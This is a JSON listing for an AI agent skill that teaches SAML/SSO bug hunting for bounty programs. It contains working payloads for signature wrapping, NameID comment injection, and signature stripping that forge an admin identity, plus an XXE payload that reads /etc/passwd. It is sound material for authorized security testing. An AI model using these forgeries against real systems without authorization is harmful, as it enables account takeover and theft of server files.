{"id":"hunt-saml","name":"hunt-saml","summary":"SAML/SSO攻撃を追跡する。","body":"## 20. SAML / SSO ATTACKS\n> SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.\n\n### Attack Surface\n```bash\n# Find SAML endpoints\ncat recon/$TARGET/urls.txt | grep -iE \"saml|sso|login.*redirect|oauth|idp|sp\"\n# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback\n```\n\n### Attack 1: XML Signature Wrapping (XSW)\n```xml\n<!-- BEFORE: valid assertion by user@company.com -->\n<saml:Response>\n  <saml:Assertion ID=\"legit\">\n    <NameID>user@company.com</NameID>\n    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>\n  </saml:Assertion>\n</saml:Response>\n\n<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).\n     App processes the FIRST assertion found = evil. -->\n<saml:Response>\n  <saml:Assertion ID=\"evil\">\n    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->\n  </saml:Assertion>\n  <saml:Assertion ID=\"legit\">\n    <NameID>user@company.com</NameID>\n    <ds:Signature><!-- Valid --></ds:Signature>\n  </saml:Assertion>\n</saml:Response>\n```\n\n### Attack 2: Comment Injection in NameID\n```xml\n<!-- Attacker registers/controls account: admin@company.com.evil.com -->\n<NameID>admin@company.com<!---->.evil.com</NameID>\n<!-- Signed canonical form (C14N without-comments strips the comment BEFORE\n     digest): \"admin@company.com.evil.com\" — the value the signature covers. -->\n<!-- App's XML processor also strips the comment but only reads the text node\n     UP TO the comment boundary: \"admin@company.com\" — a DIFFERENT effective\n     identity than was signed. The discrepancy is the bug. -->\n<!-- Works when signer's C14N and app's text extraction disagree on comments.\n     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->\n```\n\n### Attack 3: Signature Stripping\n```\n1. Decode SAMLResponse: echo \"BASE64\" | base64 -d | xmllint --format - > saml.xml\n2. Delete the entire <Signature> element\n3. Change NameID to admin@company.com\n4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)\n5. Submit — if server doesn't verify signature presence = admin ATO\n```\n\n### Attack 4: XXE in SAML Assertion\n```xml\n<?xml version=\"1.0\"?>\n<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>\n<saml:Assertion>\n  <NameID>&xxe;</NameID>\n</saml:Assertion>\n```\n\n### Attack 5: NameID Manipulation\n```\nTest these NameID values:\n- admin@company.com (generic admin)\n- administrator@company.com\n- support@target.com\n- Any email found in disclosed reports for this program\n- ${7*7} (SSTI if NameID gets rendered in a template)\n```\n\n### Tools\n```bash\n# SAMLRaider (Burp extension) — automated XSW testing\n# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab\n\n# Manual workflow:\necho \"BASE64_SAML\" | base64 -d > saml.xml\n# Edit saml.xml\nbase64 -w0 saml.xml  # Re-encode\n# URL-encode the result before sending as SAMLResponse parameter\n```\n\n### SAML Triage\n```\nXSW successful   = Critical (ATO any user)\nSig stripping    = Critical (ATO any user)\nComment injection = High (ATO admin)\nXXE in assertion = High (file read / SSRF)\nNameID manip     = Medium/High (depends on what NameID maps to)\n```\n\n---\n\n## Related Skills & Chains\n\n- **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.\n- **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.\n- **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.\n- **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.\n- **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for \"SAMLResponse accepted on the wrong endpoint\" claims that don't actually validate.\n- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML \"vulnerability\" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-saml","license":"MIT","category":null,"lang":"en","tokens":1496,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}